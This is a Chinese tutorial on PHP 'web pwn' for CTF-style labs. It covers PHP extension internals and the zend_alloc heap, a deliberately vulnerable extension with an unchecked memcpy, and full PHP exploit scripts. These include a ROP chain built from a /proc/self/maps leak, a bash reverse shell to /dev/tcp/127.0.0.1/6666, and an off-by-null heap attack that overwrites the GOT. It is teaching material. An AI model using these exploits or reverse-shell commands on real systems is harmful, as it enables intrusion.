Web-pwn的栈溢出和堆机制详细入门
字数 1790 2025-08-20 18:18:16

PHP PWN入门:栈溢出与堆机制详解

1. Web PWN简介

Web PWN主要针对PHP应用,重点分析PHP加载的外部拓展(so拓展库)。与常规PWN题不同,由于PHP加载扩展库调用内部函数,通常无法直接获得交互式shell。通常需要采用popenexec函数族执行bash命令来反弹shell,直接执行one_gadgetsystem通常不可行。

2. PHP扩展模块生命周期

2.1 生命周期阶段

  1. Module Init (MINIT):

    • PHP解释器启动时调用,仅一次
    • 示例:初始化数据库连接池
  2. Request Init (RINIT):

    • 每个请求到达时触发
    • 示例:为每个请求创建新会话
  3. Request Shutdown (RSHUTDOWN):

    • 请求结束时调用
    • 示例:清理请求期间分配的资源
  4. Module Shutdown (MSHUTDOWN):

    • 服务器关闭时调用
    • 示例:关闭数据库连接池

2.2 PHP运行模式

  1. CLI运行模式 (单进程SAPI):

    • 示例:php script.php
    • 整个进程生命周期:MINIT → RINIT → Execute → RSHUTDOWN → MSHUTDOWN
  2. CGI运行模式 (多进程SAPI):

    • 示例:Apache with mod_cgi
    • 每个请求fork新PHP进程,完整生命周期
  3. FastCGI运行模式 (多进程SAPI,进程可复用):

    • 示例:Nginx with PHP-FPM
    • 进程处理多个请求后退出

3. PHP扩展模块开发

3.1 环境搭建

sudo apt install php php-dev  # 安装php及开发包
git clone https://github.com/php/php-src.git
cd php-src
git checkout PHP-7.4.3

3.2 源码目录结构

  • build/: 编译相关
  • ext/: 扩展库代码
  • main/: PHP主要宏定义
  • sapi/: 服务器接口
  • Zend/: Zend引擎相关

3.3 创建扩展模块

cd ext
php ext_skel.php --ext extend_name

生成的文件:

  • config.m4: Unix-like系统配置脚本
  • config.w32: Windows系统配置脚本
  • hello.c: 扩展主要源代码
  • php_hello.h: 扩展头文件
  • tests/: 测试文件目录

3.4 扩展模块结构

PHP扩展在C层面是zend_module_entry结构体:

struct _zend_module_entry {
    unsigned short size;
    const char *name;          // 扩展名
    const struct _zend_function_entry *functions; // 函数引用
    int (*module_startup_func)(INIT_FUNC_ARGS);  // 模块加载时调用
    int (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS); // 模块卸载时调用
    int (*request_startup_func)(INIT_FUNC_ARGS); // 请求开始时调用
    int (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS); // 请求结束时调用
    void (*info_func)(ZEND_MODULE_INFO_FUNC_ARGS); // phpinfo()时调用
    const char *version;       // 模块版本
    // ...其他字段
};

3.5 函数定义与参数解析

PHP_FUNCTION(easy_phppwn) {
    char *arg = NULL;
    size_t arg_len;
    char buf[100];
    
    // 解析参数
    if (zend_parse_parameters(ZEND_NUM_ARGS(), "s", &arg, &arg_len) == FAILURE) {
        return;
    }
    
    memcpy(buf, arg, arg_len);  // 栈溢出漏洞点
    php_printf("The baby phppwn.\n");
    return SUCCESS;
}

参数类型标识符:

  • s: 字符串(带长度)
  • l: 长整型
  • d: 双精度浮点
  • a: 数组
  • o: 对象
  • z: 实际zval

3.6 编译扩展

phpize
./configure --with-php-config=/usr/bin/php-config
# 修改Makefile取消栈保护和优化
make
sudo cp hello.so /usr/lib/php/20190902/

4. 栈溢出利用

4.1 漏洞分析

void __cdecl zif_easy_phppwn(zend_execute_data *execute_data, zval *return_value) {
    char buf[100];  // 栈缓冲区
    size_t n;
    char *arg;
    
    if ((unsigned int)zend_parse_parameters(/*...*/, "s", &arg, &n) != -1) {
        memcpy(buf, arg, n);  // 无长度检查导致栈溢出
        php_printf("The baby phppwn.\n");
    }
}

4.2 利用技术

  1. 内存泄露:

    • 通过/proc/self/maps泄露内存布局
    • 示例PHP代码:
      $content = file_get_contents('/proc/self/maps');
      echo $content;
      
  2. ROP链构造:

    • 泄露libc地址后构造ROP链
    • 使用mprotect修改栈权限后执行shellcode
  3. 反弹shell:

    • 常用方法:
      $cmd = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/6666 0>&1"';
      

4.3 完整利用示例

<?php
function i2s($i, $x=8) {
    $re = "";
    for($j=0; $j<$x; $j++) {
        $re .= chr($i & 0xff);
        $i >>= 8;
    }
    return $re;
}

// 读取内存布局
$content = file_get_contents('/proc/self/maps');

// 解析libc基地址
preg_match_all('/^([0-9a-f]+)-[0-9a-f]+\\s+r--p\\s+.*?\\s+\\S*libc.*$/m', $content, $matches);
$libc_base = hexdec($matches[1][0]);

// 构造payload
$p_rdi_r = $libc_base + 0x23b6a;
$p_rsi_r = $libc_base + 0x2601f;
$popen_addr = $libc_base + 0x84380;
$command = '/bin/bash -c "/bin/bash -i >&/dev/tcp/127.0.0.1/6666 0>&1"';

$buf1 = str_repeat('a', 0x80);
$buf = str_repeat('b', 0x8) . pack('Q', $p_rdi_r) . pack('Q', $stack_addr);
$buf .= pack('Q', $p_rsi_r) . pack('Q', $stack_addr - 0x18);
$buf .= pack('Q', $popen_addr) . "r" . str_repeat("\x00", 7);
$buf = str_pad($buf, 0x50, 'c');
$buf .= str_pad($command, 0x60, "\x00") . str_repeat('\x00', 8);
$payload = $buf1 . $buf;

easy_phppwn($payload);
?>

5. PHP堆机制

5.1 内存分配概述

PHP使用zend_alloc进行内存管理:

  • CHUNK: 2MB内存块
  • PAGE: 4KB内存页
  • Small分配: 小于3/4页大小(≤3072字节)
  • Large分配: 多个4KB页(≤2MB-4KB)
  • Huge分配: 大于2MB,使用mmap

5.2 小内存分配

  1. 分配流程:

    • _emalloczend_mm_alloc_heapzend_mm_alloc_small
    • 根据大小计算bin索引(30个预定义大小:8,16,24,...,3072)
    • 从对应bin的free_slot链表分配
  2. 初始化bin:

    zend_mm_alloc_small_slow() {
        // 分配页面
        bin = zend_mm_alloc_pages(heap, bin_pages[bin_num]);
        // 初始化链表
        p = (zend_mm_free_slot*)((char*)bin + bin_data_size[bin_num]);
        do {
            p->next_free_slot = (zend_mm_free_slot*)((char*)p + bin_data_size[bin_num]);
            p = (zend_mm_free_slot*)((char*)p + bin_data_size[bin_num]);
        } while(p != end);
        return bin;
    }
    
  3. 释放流程:

    zend_mm_free_small(heap, ptr, bin_num) {
        p = (zend_mm_free_slot*)ptr;
        p->next_free_slot = heap->free_slot[bin_num];
        heap->free_slot[bin_num] = p;
    }
    

5.3 堆漏洞利用

  1. 利用条件:

    • 存在溢出可修改相邻chunk的fd指针
    • 无double free检查
  2. 利用步骤:

    • 选择未初始化bin的size
    • 通过off-by-null修改链表指针
    • 任意地址分配
    • 覆盖GOT表
  3. 示例利用(off-by-null):

    <?php
    // 泄露地址
    leak();
    
    // 第一次分配,利用off-by-null
    addHacker(str_repeat("\x11", 0x8), str_repeat("\x11", 0x30));
    
    // 修改指针
    addHacker(str_pad(p64($module_base + 0x4038).p64(0xff), 0x40, "\x11"), 
              str_repeat("\x11", 0x2f));
    
    // 覆盖GOT
    addHacker(str_pad($cmd, 0x40, "\x00"), "1");
    editHacker(0, p64($libc_base + 0x4c411));
    removeHacker(2);
    ?>
    

6. 调试技巧

  1. GDB调试:

    gdb php
    b *zif_easy_phppwn
    set args ./pwn.php
    run
    
  2. Docker调试:

    gdbserver :1234 /usr/local/bin/php /var/www/html/exp.php
    
  3. 内存布局查看:

    $content = file_get_contents('/proc/self/maps');
    echo $content;
    

7. 实用PHP函数

// 64位打包
function p64($addr) {
    return strrev(pack('Q', $addr));
}

// 64位解包
function u64($leak) {
    return unpack('Q', strrev($leak))[1];
}

// 字符串转整数
function s2i($s) {
    $result = 0;
    for($x=0; $x<strlen($s); $x++) {
        $result <<= 8;
        $result |= ord($s[$x]);
    }
    return $result;
}

// 整数转字符串
function i2s($i, $x=8) {
    $re = "";
    for($j=0; $j<$x; $j++) {
        $re .= chr($i & 0xff);
        $i >>= 8;
    }
    return $re;
}

8. 总结

PHP PWN的关键点:

  1. 理解PHP扩展生命周期和运行模式
  2. 掌握栈溢出漏洞的发现与利用
  3. 熟悉PHP特有的堆管理机制
  4. 熟练使用/proc/self/maps泄露内存布局
  5. 掌握PHP环境下的ROP构造技巧
  6. 了解off-by-null等堆漏洞在PHP环境下的利用方法
PHP PWN入门:栈溢出与堆机制详解 1. Web PWN简介 Web PWN主要针对PHP应用,重点分析PHP加载的外部拓展(so拓展库)。与常规PWN题不同,由于PHP加载扩展库调用内部函数,通常无法直接获得交互式shell。通常需要采用 popen 或 exec 函数族执行bash命令来反弹shell,直接执行 one_gadget 或 system 通常不可行。 2. PHP扩展模块生命周期 2.1 生命周期阶段 Module Init (MINIT) : PHP解释器启动时调用,仅一次 示例:初始化数据库连接池 Request Init (RINIT) : 每个请求到达时触发 示例:为每个请求创建新会话 Request Shutdown (RSHUTDOWN) : 请求结束时调用 示例:清理请求期间分配的资源 Module Shutdown (MSHUTDOWN) : 服务器关闭时调用 示例:关闭数据库连接池 2.2 PHP运行模式 CLI运行模式 (单进程SAPI): 示例: php script.php 整个进程生命周期:MINIT → RINIT → Execute → RSHUTDOWN → MSHUTDOWN CGI运行模式 (多进程SAPI): 示例:Apache with mod_ cgi 每个请求fork新PHP进程,完整生命周期 FastCGI运行模式 (多进程SAPI,进程可复用): 示例:Nginx with PHP-FPM 进程处理多个请求后退出 3. PHP扩展模块开发 3.1 环境搭建 3.2 源码目录结构 build/ : 编译相关 ext/ : 扩展库代码 main/ : PHP主要宏定义 sapi/ : 服务器接口 Zend/ : Zend引擎相关 3.3 创建扩展模块 生成的文件: config.m4 : Unix-like系统配置脚本 config.w32 : Windows系统配置脚本 hello.c : 扩展主要源代码 php_hello.h : 扩展头文件 tests/ : 测试文件目录 3.4 扩展模块结构 PHP扩展在C层面是 zend_module_entry 结构体: 3.5 函数定义与参数解析 参数类型标识符: s : 字符串(带长度) l : 长整型 d : 双精度浮点 a : 数组 o : 对象 z : 实际zval 3.6 编译扩展 4. 栈溢出利用 4.1 漏洞分析 4.2 利用技术 内存泄露 : 通过 /proc/self/maps 泄露内存布局 示例PHP代码: ROP链构造 : 泄露libc地址后构造ROP链 使用 mprotect 修改栈权限后执行shellcode 反弹shell : 常用方法: 4.3 完整利用示例 5. PHP堆机制 5.1 内存分配概述 PHP使用 zend_alloc 进行内存管理: CHUNK : 2MB内存块 PAGE : 4KB内存页 Small分配 : 小于3/4页大小(≤3072字节) Large分配 : 多个4KB页(≤2MB-4KB) Huge分配 : 大于2MB,使用mmap 5.2 小内存分配 分配流程 : _emalloc → zend_mm_alloc_heap → zend_mm_alloc_small 根据大小计算bin索引(30个预定义大小:8,16,24,...,3072) 从对应bin的free_ slot链表分配 初始化bin : 释放流程 : 5.3 堆漏洞利用 利用条件 : 存在溢出可修改相邻chunk的fd指针 无double free检查 利用步骤 : 选择未初始化bin的size 通过off-by-null修改链表指针 任意地址分配 覆盖GOT表 示例利用(off-by-null) : 6. 调试技巧 GDB调试 : Docker调试 : 内存布局查看 : 7. 实用PHP函数 8. 总结 PHP PWN的关键点: 理解PHP扩展生命周期和运行模式 掌握栈溢出漏洞的发现与利用 熟悉PHP特有的堆管理机制 熟练使用 /proc/self/maps 泄露内存布局 掌握PHP环境下的ROP构造技巧 了解off-by-null等堆漏洞在PHP环境下的利用方法